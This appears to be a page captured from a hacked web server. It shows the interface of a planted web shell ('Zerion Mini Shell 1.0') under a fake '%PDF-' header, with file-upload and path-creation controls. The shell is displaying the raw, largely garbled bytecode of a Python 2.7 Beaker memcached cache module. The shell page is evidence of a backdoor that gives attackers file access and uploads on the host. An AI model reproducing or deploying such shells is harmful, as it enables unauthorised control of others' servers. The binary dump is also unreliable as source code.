%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/beaker/ext/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib/python2.7/site-packages/beaker/ext/memcached.pyo

�
7Y�Kc@s�ddlmZmZddlmZmZddlmZmZddl	m
Z
mZddlZdadefd��YZdefd	��YZdS(
i����(tNamespaceManagert	Container(tInvalidCacheBackendErrortMissingCacheParameter(tfile_synchronizertnull_synchronizer(tverify_directorytSyncDictNtMemcachedNamespaceManagercBs�eZe�Zed��Zdddd�Zd�Zd�Z	d�Z
d�Zd�Zdd�Z
d�Zd	�Zd
�Zd�ZRS(
cCs�tdk	rdSyddlaWnrtk
r�yddlatjd�Wq�tk
r�yddlaWq�tk
r�td��q�Xq�XnXdS(Ni����s]cmemcache is known to have serious concurrency issues; consider using 'memcache' or 'pylibmc'sMMemcached cache backend requires either the 'memcache' or 'cmemcache' library(tmemcachetNonetpylibmctImportErrort	cmemcachetwarningstwarnR(tcls((sE/opt/alt/python27/lib/python2.7/site-packages/beaker/ext/memcached.pyt_init_dependenciess


cKs�tj||�|s%td��n|r7||_n|rM|d|_n|jrft|j�ntjj|tj	|j
d��|_dS(Nsurl is requireds/container_mcd_lockt;(Rt__init__Rtlock_dirRRtclientstgetR	tClienttsplittmc(tselft	namespaceturltdata_dirRtparams((sE/opt/alt/python27/lib/python2.7/site-packages/beaker/ext/memcached.pyRs	cCstdd|jd|j�S(Nt
identifiersmemcachedcontainer/funclock/%sR(RRR(Rtkey((sE/opt/alt/python27/lib/python2.7/site-packages/beaker/ext/memcached.pytget_creation_lock.scCs|jd|jdd�S(Nt_t s·(Rtreplace(RR ((sE/opt/alt/python27/lib/python2.7/site-packages/beaker/ext/memcached.pyt_format_key2scCs|jj|j|��S(N(RRR%(RR ((sE/opt/alt/python27/lib/python2.7/site-packages/beaker/ext/memcached.pyt__getitem__5scCs%|jj|j|��}|dk	S(N(RRR%R
(RR tvalue((sE/opt/alt/python27/lib/python2.7/site-packages/beaker/ext/memcached.pyt__contains__8scCs
||kS(N((RR ((sE/opt/alt/python27/lib/python2.7/site-packages/beaker/ext/memcached.pythas_key<scCsK|r+|jj|j|�|d|�n|jj|j|�|�dS(Nttime(RtsetR%(RR R't
expiretime((sE/opt/alt/python27/lib/python2.7/site-packages/beaker/ext/memcached.pyt	set_value?s%cCs|j||�dS(N(R-(RR R'((sE/opt/alt/python27/lib/python2.7/site-packages/beaker/ext/memcached.pyt__setitem__EscCs|jj|j|��dS(N(RtdeleteR%(RR ((sE/opt/alt/python27/lib/python2.7/site-packages/beaker/ext/memcached.pyt__delitem__HscCs|jj�dS(N(Rt	flush_all(R((sE/opt/alt/python27/lib/python2.7/site-packages/beaker/ext/memcached.pyt	do_removeKscCstd��dS(Ns=Memcache caching does not support iteration of all cache keys(tNotImplementedError(R((sE/opt/alt/python27/lib/python2.7/site-packages/beaker/ext/memcached.pytkeysNsN(t__name__t
__module__RRtclassmethodRR
RR!R%R&R(R)R-R.R0R2R4(((sE/opt/alt/python27/lib/python2.7/site-packages/beaker/ext/memcached.pyR	s									tMemcachedContainercBseZeZRS((R5R6Rtnamespace_class(((sE/opt/alt/python27/lib/python2.7/site-packages/beaker/ext/memcached.pyR8Qs(tbeaker.containerRRtbeaker.exceptionsRRtbeaker.synchronizationRRtbeaker.utilRRRR
R	RR8(((sE/opt/alt/python27/lib/python2.7/site-packages/beaker/ext/memcached.pyt<module>sH

Zerion Mini Shell 1.0